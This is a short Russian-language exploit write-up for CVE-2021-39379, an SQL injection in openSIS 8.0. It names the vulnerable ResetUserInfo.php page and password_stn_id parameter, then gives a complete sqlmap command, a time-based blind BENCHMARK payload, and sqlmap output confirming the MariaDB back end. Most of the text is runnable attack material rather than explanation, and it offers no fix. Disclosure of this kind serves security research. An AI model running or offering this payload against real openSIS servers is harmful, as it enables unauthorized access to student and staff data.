security-n/cve-2021-39379
В версии 8.0 openSIS существует уязвимость SQL-инъекции при использовании MySQL (MariaDB) в качестве базы данных приложения. Злоумышленник может выполнять SQL-команды в базе данных MySQL (MariaDB) через уязвимый параметр password_stn_id.
Уязвимая PHP-страница:
ResetUserInfo.php
Уязвимая нагрузка
sqlmap -u "http://localhost:8081/ResetUserInfo.php" --data="pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=" --referer="http://localhost:8081/ForgotPass.php?language=en" --dbms="MySQL" --level=3 --risk=3 --banner --answers="crack=N,dict=N,continue=Y,quit=N"
SQL-инъекция:
http://localhost:8081/ResetUserInfo.php
Parameter: password_stn_id (POST)
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: pass_user_type=pass_student&pass_type_form=password&password_stn_id=1234 AND 1211=BENCHMARK(5000000,MD5(0x6a65474d))&uname=1234&month_password_dob=08&day_password_dob=01&year_password_dob=2021&pass_email=&password_stf_email=
[21:11:37] [INFO] testing MySQL
[21:11:44] [INFO] confirming MySQL
[21:11:44] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:11:56] [INFO] the back-end DBMS is MySQL
[21:11:56] [INFO] fetching banner
[21:11:56] [INFO] retrieved: 10.5.11-MariaDB-1
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
Обнаружено Nathan Johnson, август 2021